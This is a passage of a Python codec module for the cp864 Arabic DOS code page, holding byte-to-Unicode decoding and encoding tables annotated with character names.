return codecs.CodecInfo(
name='cp864',
encode=Codec().encode,
decode=Codec().decode,
incrementalencoder=IncrementalEncoder,
incrementaldecoder=IncrementalDecoder,
streamreader=StreamReader,
streamwriter=StreamWriter,
)
### Decoding Map
decoding_map = codecs.make_identity_dict(range(256))
decoding_map.update({
0x0025: 0x066a, # ARABIC PERCENT SIGN
0x0080: 0x00b0, # DEGREE SIGN
0x0081: 0x00b7, # MIDDLE DOT
0x0082: 0x2219, # BULLET OPERATOR
0x0083: 0x221a, # SQUARE ROOT
0x0084: 0x2592, # MEDIUM SHADE
0x0085: 0x2500, # FORMS LIGHT HORIZONTAL
0x0086: 0x2502, # FORMS LIGHT VERTICAL
0x0087: 0x253c, # FORMS LIGHT VERTICAL AND HORIZONTAL
0x0088: 0x2524, # FORMS LIGHT VERTICAL AND LEFT
0x0089: 0x252c, # FORMS LIGHT DOWN AND HORIZONTAL
0x008a: 0x251c, # FORMS LIGHT VERTICAL AND RIGHT
0x008b: 0x2534, # FORMS LIGHT UP AND HORIZONTAL
0x008c: 0x2510, # FORMS LIGHT DOWN AND LEFT
0x008d: 0x250c, # FORMS LIGHT DOWN AND RIGHT
0x008e: 0x2514, # FORMS LIGHT UP AND RIGHT
0x008f: 0x2518, # FORMS LIGHT UP AND LEFT
0x0090: 0x03b2, # GREEK SMALL BETA
0x0091: 0x221e, # INFINITY
0x0092: 0x03c6, # GREEK SMALL PHI
0x0093: 0x00b1, # PLUS-OR-MINUS SIGN
0x0094: 0x00bd, # FRACTION 1/2
0x0095: 0x00bc, # FRACTION 1/4
0x0096: 0x2248, # ALMOST EQUAL TO
0x0097: 0x00ab, # LEFT POINTING GUILLEMET
0x0098: 0x00bb, # RIGHT POINTING GUILLEMET
0x0099: 0xfef7, # ARABIC LIGATURE LAM WITH ALEF WITH HAMZA ABOVE ISOLATED FORM
0x009a: 0xfef8, # ARABIC LIGATURE LAM WITH ALEF WITH HAMZA ABOVE FINAL FORM
0x009b: None, # UNDEFINED
0x009c: None, # UNDEFINED
0x009d: 0xfefb, # ARABIC LIGATURE LAM WITH ALEF ISOLATED FORM
0x009e: 0xfefc, # ARABIC LIGATURE LAM WITH ALEF FINAL FORM
0x009f: None, # UNDEFINED
0x00a1: 0x00ad, # SOFT HYPHEN
0x00a2: 0xfe82, # ARABIC LETTER ALEF WITH MADDA ABOVE FINAL FORM
0x00a5: 0xfe84, # ARABIC LETTER ALEF WITH HAMZA ABOVE FINAL FORM
0x00a6: None, # UNDEFINED
0x00a7: None, # UNDEFINED
0x00a8: 0xfe8e, # ARABIC LETTER ALEF FINAL FORM
0x00a9: 0xfe8f, # ARABIC LETTER BEH ISOLATED FORM
0x00aa: 0xfe95, # ARABIC LETTER TEH ISOLATED FORM
0x00ab: 0xfe99, # ARABIC LETTER THEH ISOLATED FORM
0x00ac: 0x060c, # ARABIC COMMA
0x00ad: 0xfe9d, # ARABIC LETTER JEEM ISOLATED FORM
0x00ae: 0xfea1, # ARABIC LETTER HAH ISOLATED FORM
0x00af: 0xfea5, # ARABIC LETTER KHAH ISOLATED FORM
0x00b0: 0x0660, # ARABIC-INDIC DIGIT ZERO
0x00b1: 0x0661, # ARABIC-INDIC DIGIT ONE
0x00b2: 0x0662, # ARABIC-INDIC DIGIT TWO
0x00b3: 0x0663, # ARABIC-INDIC DIGIT THREE
0x00b4: 0x0664, # ARABIC-INDIC DIGIT FOUR
0x00b5: 0x0665, # ARABIC-INDIC DIGIT FIVE
0x00b6: 0x0666, # ARABIC-INDIC DIGIT SIX
0x00b7: 0x0667, # ARABIC-INDIC DIGIT SEVEN
0x00b8: 0x0668, # ARABIC-INDIC DIGIT EIGHT
0x00b9: 0x0669, # ARABIC-INDIC DIGIT NINE
0x00ba: 0xfed1, # ARABIC LETTER FEH ISOLATED FORM
0x00bb: 0x061b, # ARABIC SEMICOLON
0x00bc: 0xfeb1, # ARABIC LETTER SEEN ISOLATED FORM
0x00bd: 0xfeb5, # ARABIC LETTER SHEEN ISOLATED FORM
0x00be: 0xfeb9, # ARABIC LETTER SAD ISOLATED FORM
0x00bf: 0x061f, # ARABIC QUESTION MARK
0x00c0: 0x00a2, # CENT SIGN
0x00c1: 0xfe80, # ARABIC LETTER HAMZA ISOLATED FORM
0x00c2: 0xfe81, # ARABIC LETTER ALEF WITH MADDA ABOVE ISOLATED FORM
0x00c3: 0xfe83, # ARABIC LETTER ALEF WITH HAMZA ABOVE ISOLATED FORM
0x00c4: 0xfe85, # ARABIC LETTER WAW WITH HAMZA ABOVE ISOLATED FORM
0x00c5: 0xfeca, # ARABIC LETTER AIN FINAL FORM
0x00c6: 0xfe8b, # ARABIC LETTER YEH WITH HAMZA ABOVE INITIAL FORM
0x00c7: 0xfe8d, # ARABIC LETTER ALEF ISOLATED FORM
0x00c8: 0xfe91, # ARABIC LETTER BEH INITIAL FORM
0x00c9: 0xfe93, # ARABIC LETTER TEH MARBUTA ISOLATED FORM
0x00ca: 0xfe97, # ARABIC LETTER TEH INITIAL FORM
0x00cb: 0xfe9b, # ARABIC LETTER THEH INITIAL FORM
0x00cc: 0xfe9f, # ARABIC LETTER JEEM INITIAL FORM
0x00cd: 0xfea3, # ARABIC LETTER HAH INITIAL FORM
0x00ce: 0xfea7, # ARABIC LETTER KHAH INITIAL FORM
0x00cf: 0xfea9, # ARABIC LETTER DAL ISOLATED FORM
0x00d0: 0xfeab, # ARABIC LETTER THAL ISOLATED FORM
0x00d1: 0xfead, # ARABIC LETTER REH ISOLATED FORM
0x00d2: 0xfeaf, # ARABIC LETTER ZAIN ISOLATED FORM
0x00d3: 0xfeb3, # ARABIC LETTER SEEN INITIAL FORM
0x00d4: 0xfeb7, # ARABIC LETTER SHEEN INITIAL FORM
0x00d5: 0xfebb, # ARABIC LETTER SAD INITIAL FORM
0x00d6: 0xfebf, # ARABIC LETTER DAD INITIAL FORM
0x00d7: 0xfec1, # ARABIC LETTER TAH ISOLATED FORM
0x00d8: 0xfec5, # ARABIC LETTER ZAH ISOLATED FORM
0x00d9: 0xfecb, # ARABIC LETTER AIN INITIAL FORM
0x00da: 0xfecf, # ARABIC LETTER GHAIN INITIAL FORM
0x00db: 0x00a6, # BROKEN VERTICAL BAR
0x00dc: 0x00ac, # NOT SIGN
0x00dd: 0x00f7, # DIVISION SIGN
0x00de: 0x00d7, # MULTIPLICATION SIGN
0x00df: 0xfec9, # ARABIC LETTER AIN ISOLATED FORM
0x00e0: 0x0640, # ARABIC TATWEEL
0x00e1: 0xfed3, # ARABIC LETTER FEH INITIAL FORM
0x00e2: 0xfed7, # ARABIC LETTER QAF INITIAL FORM
0x00e3: 0xfedb, # ARABIC LETTER KAF INITIAL FORM
0x00e4: 0xfedf, # ARABIC LETTER LAM INITIAL FORM
0x00e5: 0xfee3, # ARABIC LETTER MEEM INITIAL FORM
0x00e6: 0xfee7, # ARABIC LETTER NOON INITIAL FORM
0x00e7: 0xfeeb, # ARABIC LETTER HEH INITIAL FORM
0x00e8: 0xfeed, # ARABIC LETTER WAW ISOLATED FORM
0x00e9: 0xfeef, # ARABIC LETTER ALEF MAKSURA ISOLATED FORM
0x00ea: 0xfef3, # ARABIC LETTER YEH INITIAL FORM
0x00eb: 0xfebd, # ARABIC LETTER DAD ISOLATED FORM
0x00ec: 0xfecc, # ARABIC LETTER AIN MEDIAL FORM
0x00ed: 0xfece, # ARABIC LETTER GHAIN FINAL FORM
0x00ee: 0xfecd, # ARABIC LETTER GHAIN ISOLATED FORM
0x00ef: 0xfee1, # ARABIC LETTER MEEM ISOLATED FORM
0x00f0: 0xfe7d, # ARABIC SHADDA MEDIAL FORM
0x00f1: 0x0651, # ARABIC SHADDAH
0x00f2: 0xfee5, # ARABIC LETTER NOON ISOLATED FORM
0x00f3: 0xfee9, # ARABIC LETTER HEH ISOLATED FORM
0x00f4: 0xfeec, # ARABIC LETTER HEH MEDIAL FORM
0x00f5: 0xfef0, # ARABIC LETTER ALEF MAKSURA FINAL FORM
0x00f6: 0xfef2, # ARABIC LETTER YEH FINAL FORM
0x00f7: 0xfed0, # ARABIC LETTER GHAIN MEDIAL FORM
0x00f8: 0xfed5, # ARABIC LETTER QAF ISOLATED FORM
0x00f9: 0xfef5, # ARABIC LIGATURE LAM WITH ALEF WITH MADDA ABOVE ISOLATED FORM
0x00fa: 0xfef6, # ARABIC LIGATURE LAM WITH ALEF WITH MADDA ABOVE FINAL FORM
0x00fb: 0xfedd, # ARABIC LETTER LAM ISOLATED FORM
0x00fc: 0xfed9, # ARABIC LETTER KAF ISOLATED FORM
0x00fd: 0xfef1, # ARABIC LETTER YEH ISOLATED FORM
0x00fe: 0x25a0, # BLACK SQUARE
0x00ff: None, # UNDEFINED
})
### Decoding Table
decoding_table = (
u'\x00' # 0x0000 -> NULL
u'\x01' # 0x0001 -> START OF HEADING
u'\x02' # 0x0002 -> START OF TEXT
u'\x03' # 0x0003 -> END OF TEXT
u'\x04' # 0x0004 -> END OF TRANSMISSION
u'\x05' # 0x0005 -> ENQUIRY
u'\x06' # 0x0006 -> ACKNOWLEDGE
u'\x07' # 0x0007 -> BELL
u'\x08' # 0x0008 -> BACKSPACE
u'\t' # 0x0009 -> HORIZONTAL TABULATION
u'\n' # 0x000a -> LINE FEED
u'\x0b' # 0x000b -> VERTICAL TABULATION
u'\x0c' # 0x000c -> FORM FEED
u'\r' # 0x000d -> CARRIAGE RETURN
u'\x0e' # 0x000e -> SHIFT OUT
u'\x0f' # 0x000f -> SHIFT IN
u'\x10' # 0x0010 -> DATA LINK ESCAPE
u'\x11' # 0x0011 -> DEVICE CONTROL ONE
u'\x12' # 0x0012 -> DEVICE CONTROL TWO
u'\x13' # 0x0013 -> DEVICE CONTROL THREE
u'\x14' # 0x0014 -> DEVICE CONTROL FOUR
u'\x15' # 0x0015 -> NEGATIVE ACKNOWLEDGE
u'\x16' # 0x0016 -> SYNCHRONOUS IDLE
u'\x17' # 0x0017 -> END OF TRANSMISSION BLOCK
u'\x18' # 0x0018 -> CANCEL
u'\x19' # 0x0019 -> END OF MEDIUM
u'\x1a' # 0x001a -> SUBSTITUTE
u'\x1b' # 0x001b -> ESCAPE
u'\x1c' # 0x001c -> FILE SEPARATOR
u'\x1d' # 0x001d -> GROUP SEPARATOR
u'\x1e' # 0x001e -> RECORD SEPARATOR
u'\x1f' # 0x001f -> UNIT SEPARATOR
u' ' # 0x0020 -> SPACE
u'!' # 0x0021 -> EXCLAMATION MARK
u'"' # 0x0022 -> QUOTATION MARK
u'#' # 0x0023 -> NUMBER SIGN
u'$' # 0x0024 -> DOLLAR SIGN
u'\u066a' # 0x0025 -> ARABIC PERCENT SIGN
u'&' # 0x0026 -> AMPERSAND
u"'" # 0x0027 -> APOSTROPHE
u'(' # 0x0028 -> LEFT PARENTHESIS
u')' # 0x0029 -> RIGHT PARENTHESIS
u'*' # 0x002a -> ASTERISK
u'+' # 0x002b -> PLUS SIGN
u',' # 0x002c -> COMMA
u'-' # 0x002d -> HYPHEN-MINUS
u'.' # 0x002e -> FULL STOP
u'/' # 0x002f -> SOLIDUS
u'0' # 0x0030 -> DIGIT ZERO
u'1' # 0x0031 -> DIGIT ONE
u'2' # 0x0032 -> DIGIT TWO
u'3' # 0x0033 -> DIGIT THREE
u'4' # 0x0034 -> DIGIT FOUR
u'5' # 0x0035 -> DIGIT FIVE
u'6' # 0x0036 -> DIGIT SIX
u'7' # 0x0037 -> DIGIT SEVEN
u'8' # 0x0038 -> DIGIT EIGHT
u'9' # 0x0039 -> DIGIT NINE
u':' # 0x003a -> COLON
u';' # 0x003b -> SEMICOLON
u'<' # 0x003c -> LESS-THAN SIGN
u'=' # 0x003d -> EQUALS SIGN
u'>' # 0x003e -> GREATER-THAN SIGN
u'?' # 0x003f -> QUESTION MARK
u'@' # 0x0040 -> COMMERCIAL AT
u'A' # 0x0041 -> LATIN CAPITAL LETTER A
u'B' # 0x0042 -> LATIN CAPITAL LETTER B
u'C' # 0x0043 -> LATIN CAPITAL LETTER C
u'D' # 0x0044 -> LATIN CAPITAL LETTER D
u'E' # 0x0045 -> LATIN CAPITAL LETTER E
u'F' # 0x0046 -> LATIN CAPITAL LETTER F
u'G' # 0x0047 -> LATIN CAPITAL LETTER G
u'H' # 0x0048 -> LATIN CAPITAL LETTER H
u'I' # 0x0049 -> LATIN CAPITAL LETTER I
u'J' # 0x004a -> LATIN CAPITAL LETTER J
u'K' # 0x004b -> LATIN CAPITAL LETTER K
u'L' # 0x004c -> LATIN CAPITAL LETTER L
u'M' # 0x004d -> LATIN CAPITAL LETTER M
u'N' # 0x004e -> LATIN CAPITAL LETTER N
u'O' # 0x004f -> LATIN CAPITAL LETTER O
u'P' # 0x0050 -> LATIN CAPITAL LETTER P
u'Q' # 0x0051 -> LATIN CAPITAL LETTER Q
u'R' # 0x0052 -> LATIN CAPITAL LETTER R
u'S' # 0x0053 -> LATIN CAPITAL LETTER S
u'T' # 0x0054 -> LATIN CAPITAL LETTER T
u'U' # 0x0055 -> LATIN CAPITAL LETTER U
u'V' # 0x0056 -> LATIN CAPITAL LETTER V
u'W' # 0x0057 -> LATIN CAPITAL LETTER W
u'X' # 0x0058 -> LATIN CAPITAL LETTER X
u'Y' # 0x0059 -> LATIN CAPITAL LETTER Y
u'Z' # 0x005a -> LATIN CAPITAL LETTER Z
u'[' # 0x005b -> LEFT SQUARE BRACKET
u'\\' # 0x005c -> REVERSE SOLIDUS
u']' # 0x005d -> RIGHT SQUARE BRACKET
u'^' # 0x005e -> CIRCUMFLEX ACCENT
u'_' # 0x005f -> LOW LINE
u'`' # 0x0060 -> GRAVE ACCENT
u'a' # 0x0061 -> LATIN SMALL LETTER A
u'b' # 0x0062 -> LATIN SMALL LETTER B
u'c' # 0x0063 -> LATIN SMALL LETTER C
u'd' # 0x0064 -> LATIN SMALL LETTER D
u'e' # 0x0065 -> LATIN SMALL LETTER E
u'f' # 0x0066 -> LATIN SMALL LETTER F
u'g' # 0x0067 -> LATIN SMALL LETTER G
u'h' # 0x0068 -> LATIN SMALL LETTER H
u'i' # 0x0069 -> LATIN SMALL LETTER I
u'j' # 0x006a -> LATIN SMALL LETTER J
u'k' # 0x006b -> LATIN SMALL LETTER K
u'l' # 0x006c -> LATIN SMALL LETTER L
u'm' # 0x006d -> LATIN SMALL LETTER M
u'n' # 0x006e -> LATIN SMALL LETTER N
u'o' # 0x006f -> LATIN SMALL LETTER O
u'p' # 0x0070 -> LATIN SMALL LETTER P
u'q' # 0x0071 -> LATIN SMALL LETTER Q
u'r' # 0x0072 -> LATIN SMALL LETTER R
u's' # 0x0073 -> LATIN SMALL LETTER S
u't' # 0x0074 -> LATIN SMALL LETTER T
u'u' # 0x0075 -> LATIN SMALL LETTER U
u'v' # 0x0076 -> LATIN SMALL LETTER V
u'w' # 0x0077 -> LATIN SMALL LETTER W
u'x' # 0x0078 -> LATIN SMALL LETTER X
u'y' # 0x0079 -> LATIN SMALL LETTER Y
u'z' # 0x007a -> LATIN SMALL LETTER Z
u'{' # 0x007b -> LEFT CURLY BRACKET
u'|' # 0x007c -> VERTICAL LINE
u'}' # 0x007d -> RIGHT CURLY BRACKET
u'~' # 0x007e -> TILDE
u'\x7f' # 0x007f -> DELETE
u'\xb0' # 0x0080 -> DEGREE SIGN
u'\xb7' # 0x0081 -> MIDDLE DOT
u'\u2219' # 0x0082 -> BULLET OPERATOR
u'\u221a' # 0x0083 -> SQUARE ROOT
u'\u2592' # 0x0084 -> MEDIUM SHADE
u'\u2500' # 0x0085 -> FORMS LIGHT HORIZONTAL
u'\u2502' # 0x0086 -> FORMS LIGHT VERTICAL
u'\u253c' # 0x0087 -> FORMS LIGHT VERTICAL AND HORIZONTAL
u'\u2524' # 0x0088 -> FORMS LIGHT VERTICAL AND LEFT
u'\u252c' # 0x0089 -> FORMS LIGHT DOWN AND HORIZONTAL
u'\u251c' # 0x008a -> FORMS LIGHT VERTICAL AND RIGHT
u'\u2534' # 0x008b -> FORMS LIGHT UP AND HORIZONTAL
u'\u2510' # 0x008c -> FORMS LIGHT DOWN AND LEFT
u'\u250c' # 0x008d -> FORMS LIGHT DOWN AND RIGHT
u'\u2514' # 0x008e -> FORMS LIGHT UP AND RIGHT
u'\u2518' # 0x008f -> FORMS LIGHT UP AND LEFT
u'\u03b2' # 0x0090 -> GREEK SMALL BETA
u'\u221e' # 0x0091 -> INFINITY
u'\u03c6' # 0x0092 -> GREEK SMALL PHI
u'\xb1' # 0x0093 -> PLUS-OR-MINUS SIGN
u'\xbd' # 0x0094 -> FRACTION 1/2
u'\xbc' # 0x0095 -> FRACTION 1/4
u'\u2248' # 0x0096 -> ALMOST EQUAL TO
u'\xab' # 0x0097 -> LEFT POINTING GUILLEMET
u'\xbb' # 0x0098 -> RIGHT POINTING GUILLEMET
u'\ufef7' # 0x0099 -> ARABIC LIGATURE LAM WITH ALEF WITH HAMZA ABOVE ISOLATED FORM
u'\ufef8' # 0x009a -> ARABIC LIGATURE LAM WITH ALEF WITH HAMZA ABOVE FINAL FORM
u'\ufffe' # 0x009b -> UNDEFINED
u'\ufffe' # 0x009c -> UNDEFINED
u'\ufefb' # 0x009d -> ARABIC LIGATURE LAM WITH ALEF ISOLATED FORM
u'\ufefc' # 0x009e -> ARABIC LIGATURE LAM WITH ALEF FINAL FORM
u'\ufffe' # 0x009f -> UNDEFINED
u'\xa0' # 0x00a0 -> NON-BREAKING SPACE
u'\xad' # 0x00a1 -> SOFT HYPHEN
u'\ufe82' # 0x00a2 -> ARABIC LETTER ALEF WITH MADDA ABOVE FINAL FORM
u'\xa3' # 0x00a3 -> POUND SIGN
u'\xa4' # 0x00a4 -> CURRENCY SIGN
u'\ufe84' # 0x00a5 -> ARABIC LETTER ALEF WITH HAMZA ABOVE FINAL FORM
u'\ufffe' # 0x00a6 -> UNDEFINED
u'\ufffe' # 0x00a7 -> UNDEFINED
u'\ufe8e' # 0x00a8 -> ARABIC LETTER ALEF FINAL FORM
u'\ufe8f' # 0x00a9 -> ARABIC LETTER BEH ISOLATED FORM
u'\ufe95' # 0x00aa -> ARABIC LETTER TEH ISOLATED FORM
u'\ufe99' # 0x00ab -> ARABIC LETTER THEH ISOLATED FORM
u'\u060c' # 0x00ac -> ARABIC COMMA
u'\ufe9d' # 0x00ad -> ARABIC LETTER JEEM ISOLATED FORM
u'\ufea1' # 0x00ae -> ARABIC LETTER HAH ISOLATED FORM
u'\ufea5' # 0x00af -> ARABIC LETTER KHAH ISOLATED FORM
u'\u0660' # 0x00b0 -> ARABIC-INDIC DIGIT ZERO
u'\u0661' # 0x00b1 -> ARABIC-INDIC DIGIT ONE
u'\u0662' # 0x00b2 -> ARABIC-INDIC DIGIT TWO
u'\u0663' # 0x00b3 -> ARABIC-INDIC DIGIT THREE
u'\u0664' # 0x00b4 -> ARABIC-INDIC DIGIT FOUR
u'\u0665' # 0x00b5 -> ARABIC-INDIC DIGIT FIVE
u'\u0666' # 0x00b6 -> ARABIC-INDIC DIGIT SIX
u'\u0667' # 0x00b7 -> ARABIC-INDIC DIGIT SEVEN
u'\u0668' # 0x00b8 -> ARABIC-INDIC DIGIT EIGHT
u'\u0669' # 0x00b9 -> ARABIC-INDIC DIGIT NINE
u'\ufed1' # 0x00ba -> ARABIC LETTER FEH ISOLATED FORM
u'\u061b' # 0x00bb -> ARABIC SEMICOLON
u'\ufeb1' # 0x00bc -> ARABIC LETTER SEEN ISOLATED FORM
u'\ufeb5' # 0x00bd -> ARABIC LETTER SHEEN ISOLATED FORM
u'\ufeb9' # 0x00be -> ARABIC LETTER SAD ISOLATED FORM
u'\u061f' # 0x00bf -> ARABIC QUESTION MARK
u'\xa2' # 0x00c0 -> CENT SIGN
u'\ufe80' # 0x00c1 -> ARABIC LETTER HAMZA ISOLATED FORM
u'\ufe81' # 0x00c2 -> ARABIC LETTER ALEF WITH MADDA ABOVE ISOLATED FORM
u'\ufe83' # 0x00c3 -> ARABIC LETTER ALEF WITH HAMZA ABOVE ISOLATED FORM
u'\ufe85' # 0x00c4 -> ARABIC LETTER WAW WITH HAMZA ABOVE ISOLATED FORM
u'\ufeca' # 0x00c5 -> ARABIC LETTER AIN FINAL FORM
u'\ufe8b' # 0x00c6 -> ARABIC LETTER YEH WITH HAMZA ABOVE INITIAL FORM
u'\ufe8d' # 0x00c7 -> ARABIC LETTER ALEF ISOLATED FORM
u'\ufe91' # 0x00c8 -> ARABIC LETTER BEH INITIAL FORM
u'\ufe93' # 0x00c9 -> ARABIC LETTER TEH MARBUTA ISOLATED FORM
u'\ufe97' # 0x00ca -> ARABIC LETTER TEH INITIAL FORM
u'\ufe9b' # 0x00cb -> ARABIC LETTER THEH INITIAL FORM
u'\ufe9f' # 0x00cc -> ARABIC LETTER JEEM INITIAL FORM
u'\ufea3' # 0x00cd -> ARABIC LETTER HAH INITIAL FORM
u'\ufea7' # 0x00ce -> ARABIC LETTER KHAH INITIAL FORM
u'\ufea9' # 0x00cf -> ARABIC LETTER DAL ISOLATED FORM
u'\ufeab' # 0x00d0 -> ARABIC LETTER THAL ISOLATED FORM
u'\ufead' # 0x00d1 -> ARABIC LETTER REH ISOLATED FORM
u'\ufeaf' # 0x00d2 -> ARABIC LETTER ZAIN ISOLATED FORM
u'\ufeb3' # 0x00d3 -> ARABIC LETTER SEEN INITIAL FORM
u'\ufeb7' # 0x00d4 -> ARABIC LETTER SHEEN INITIAL FORM
u'\ufebb' # 0x00d5 -> ARABIC LETTER SAD INITIAL FORM
u'\ufebf' # 0x00d6 -> ARABIC LETTER DAD INITIAL FORM
u'\ufec1' # 0x00d7 -> ARABIC LETTER TAH ISOLATED FORM
u'\ufec5' # 0x00d8 -> ARABIC LETTER ZAH ISOLATED FORM
u'\ufecb' # 0x00d9 -> ARABIC LETTER AIN INITIAL FORM
u'\ufecf' # 0x00da -> ARABIC LETTER GHAIN INITIAL FORM
u'\xa6' # 0x00db -> BROKEN VERTICAL BAR
u'\xac' # 0x00dc -> NOT SIGN
u'\xf7' # 0x00dd -> DIVISION SIGN
u'\xd7' # 0x00de -> MULTIPLICATION SIGN
u'\ufec9' # 0x00df -> ARABIC LETTER AIN ISOLATED FORM
u'\u0640' # 0x00e0 -> ARABIC TATWEEL
u'\ufed3' # 0x00e1 -> ARABIC LETTER FEH INITIAL FORM
u'\ufed7' # 0x00e2 -> ARABIC LETTER QAF INITIAL FORM
u'\ufedb' # 0x00e3 -> ARABIC LETTER KAF INITIAL FORM
u'\ufedf' # 0x00e4 -> ARABIC LETTER LAM INITIAL FORM
u'\ufee3' # 0x00e5 -> ARABIC LETTER MEEM INITIAL FORM
u'\ufee7' # 0x00e6 -> ARABIC LETTER NOON INITIAL FORM
u'\ufeeb' # 0x00e7 -> ARABIC LETTER HEH INITIAL FORM
u'\ufeed' # 0x00e8 -> ARABIC LETTER WAW ISOLATED FORM
u'\ufeef' # 0x00e9 -> ARABIC LETTER ALEF MAKSURA ISOLATED FORM
u'\ufef3' # 0x00ea -> ARABIC LETTER YEH INITIAL FORM
u'\ufebd' # 0x00eb -> ARABIC LETTER DAD ISOLATED FORM
u'\ufecc' # 0x00ec -> ARABIC LETTER AIN MEDIAL FORM
u'\ufece' # 0x00ed -> ARABIC LETTER GHAIN FINAL FORM
u'\ufecd' # 0x00ee -> ARABIC LETTER GHAIN ISOLATED FORM
u'\ufee1' # 0x00ef -> ARABIC LETTER MEEM ISOLATED FORM
u'\ufe7d' # 0x00f0 -> ARABIC SHADDA MEDIAL FORM
u'\u0651' # 0x00f1 -> ARABIC SHADDAH
u'\ufee5' # 0x00f2 -> ARABIC LETTER NOON ISOLATED FORM
u'\ufee9' # 0x00f3 -> ARABIC LETTER HEH ISOLATED FORM
u'\ufeec' # 0x00f4 -> ARABIC LETTER HEH MEDIAL FORM
u'\ufef0' # 0x00f5 -> ARABIC LETTER ALEF MAKSURA FINAL FORM
u'\ufef2' # 0x00f6 -> ARABIC LETTER YEH FINAL FORM
u'\ufed0' # 0x00f7 -> ARABIC LETTER GHAIN MEDIAL FORM
u'\ufed5' # 0x00f8 -> ARABIC LETTER QAF ISOLATED FORM
u'\ufef5' # 0x00f9 -> ARABIC LIGATURE LAM WITH ALEF WITH MADDA ABOVE ISOLATED FORM
u'\ufef6' # 0x00fa -> ARABIC LIGATURE LAM WITH ALEF WITH MADDA ABOVE FINAL FORM
u'\ufedd' # 0x00fb -> ARABIC LETTER LAM ISOLATED FORM
u'\ufed9' # 0x00fc -> ARABIC LETTER KAF ISOLATED FORM
u'\ufef1' # 0x00fd -> ARABIC LETTER YEH ISOLATED FORM
u'\u25a0' # 0x00fe -> BLACK SQUARE
u'\ufffe' # 0x00ff -> UNDEFINED
)
### Encoding Map
encoding_map = {
0x0000: 0x0000, # NULL
0x0001: 0x0001, # START OF HEADING
0x0002: 0x0002, # START OF TEXT
0x0003: 0x0003, # END OF TEXT
0x0004: 0x0004, # END OF TRANSMISSION
0x0005: 0x0005, # ENQUIRY
0x0006: 0x0006, # ACKNOWLEDGE
0x0007: 0x0007, # BELL
0x0008: 0x0008, # BACKSPACE
0x0009: 0x0009, # HORIZONTAL TABULATION
0x000a: 0x000a, # LINE FEED
0x000b: 0x000b, # VERTICAL TABULATION
0x000c: 0x000c, # FORM FEED
0x000d: 0x000d, # CARRIAGE RETURN
0x000e: 0x000e, # SHIFT OUT
0x000f: 0x000f, # SHIFT IN
0x0010: 0x0010, # DATA LINK ESCAPE
0x0011: 0x0011, # DEVICE CONTROL ONE
0x0012: 0x0012, # DEVICE CONTROL TWO
0x0013: 0x0013, # DEVICE CONTROL THREE
0x0014: 0x0014, # DEVICE CONTROL FOUR
0x0015: 0x0015, # NEGATIVE ACKNOWLEDGE
0x0016: 0x0016, # SYNCHRONOUS IDLE
0x0017: 0x0017, # END OF TRANSMISSION BLOCK
0x0018: 0x0018, # CANCEL
0x0019: 0x0019, # END OF MEDIUM
0x001a: 0x001a, # SUBSTITUTE
0x001b: 0x001b, # ESCAPE
0x001c: 0x001c, # FILE SEPARATOR
0x001d: 0x001d, # GROUP SEPARATOR
0x001e: 0x001e, # RECORD SEPARATOR
0x001f: 0x001f, # UNIT SEPARATOR
0x0020: 0x0020, # SPACE
0x0021: 0x0021, # EXCLAMATION MARK
0x0022: 0x0022, # QUOTATION MARK
0x0023: 0x0023, # NUMBER SIGN
0x0024: 0x0024, # DOLLAR SIGN
0x0026: 0x0026, # AMPERSAND
0x0027: 0x0027, # APOSTROPHE
0x0028: 0x0028, # LEFT PARENTHESIS
0x0029: 0x0029, # RIGHT PARENTHESIS
0x002a: 0x002a, # ASTERISK
0x002b: 0x002b, # PLUS SIGN
0x002c: 0x002c, # COMMA
0x002d: 0x002d, # HYPHEN-MINUS
0x002e: 0x002e, # FULL STOP
0x002f: 0x002f, # SOLIDUS
0x0030: 0x0030, # DIGIT ZERO
0x0031: 0x0031, # DIGIT ONE
0x0032: 0x0032, # DIGIT TWO
0x0033: 0x0033, # DIGIT THREE
0x0034: 0x0034, # DIGIT FOUR
0x0035: 0x0035, # DIGIT FIVE
0x0036: 0x0036, # DIGIT SIX
0x0037: 0x0037, # DIGIT SEVEN
0x0038: 0x0038, # DIGIT EIGHT
0x0039: 0x0039, # DIGIT NINE
0x003a: 0x003a, # COLON
0x003b: 0x003b, # SEMICOLON
0x003c: 0x003c, # LESS-THAN SIGN
0x003d: 0x003d, # EQUALS SIGN
0x003e: 0x003e, # GREATER-THAN SIGN
0x003f: 0x003f, # QUESTION MARK
0x0040: 0x0040, # COMMERCIAL AT
0x0041: 0x0041, # LATIN CAPITAL LETTER A
0x0042: 0x0042, # LATIN CAPITAL LETTER B
0x0043: 0x0043, # LATIN CAPITAL LETTER C
0x0044: 0x0044, # LATIN CAPITAL LETTER D
0x0045: 0x0045, # LATIN CAPITAL LETTER E
0x0046: 0x0046, # LATIN CAPITAL LETTER F
0x0047: 0x0047, # LATIN CAPITAL LETTER G
0x0048: 0x0048, # LATIN CAPITAL LETTER H
0x0049: 0x0049, # LATIN CAPITAL LETTER I
0x004a: 0x004a, # LATIN CAPITAL LETTER J
0x004b: 0x004b, # LATIN CAPITAL LETTER K
0x004c: 0x004c, # LATIN CAPITAL LETTER L
0x004d: 0x004d, # LATIN CAPITAL LETTER M
0x004e: 0x004e, # LATIN CAPITAL LETTER N
0x004f: 0x004f, # LATIN CAPITAL LETTER O
0x0050: 0x0050, # LATIN CAPITAL LETTER P
0x0051: 0x0051, # LATIN CAPITAL LETTER Q
0x0052: 0x0052, # LATIN CAPITAL LETTER R
0x0053: 0x0053, # LATIN CAPITAL LETTER S
0x0054: 0x0054, # LATIN CAPITAL LETTER T
0x0055: 0x0055, # LATIN CAPITAL LETTER U
0x0056: 0x0056, # LATIN CAPITAL LETTER V
0x0057: 0x0057, # LATIN CAPITAL LETTER W
0x0058: 0x0058, # LATIN CAPITAL LETTER X
0x0059: 0x0059, # LATIN CAPITAL LETTER Y
0x005a: 0x005a, # LATIN CAPITAL LETTER Z
0x005b: 0x005b, # LEFT SQUARE BRACKET
0x005c: 0x005c, # REVERSE SOLIDUS
0x005d: 0x005d, # RIGHT SQUARE BRACKET
0x005e: 0x005e, # CIRCUMFLEX ACCENT
0x005f: 0x005f, # LOW LINE
0x0060: 0x0060, # GRAVE ACCENT
0x0061: 0x0061, # LATIN SMALL LETTER A
0x0062: 0x0062, # LATIN SMALL LETTER B
0x0063: 0x0063, # LATIN SMALL LETTER C
0x0064: 0x0064, # LATIN SMALL LETTER D
0x0065: 0x0065, # LATIN SMALL LETTER E
0x0066: 0x0066, # LATIN SMALL LETTER F
0x0067: 0x0067, # LATIN SMALL LETTER G
0x0068: 0x0068, # LATIN SMALL LETTER H
0x0069: 0x0069, # LATIN SMALL LETTER I
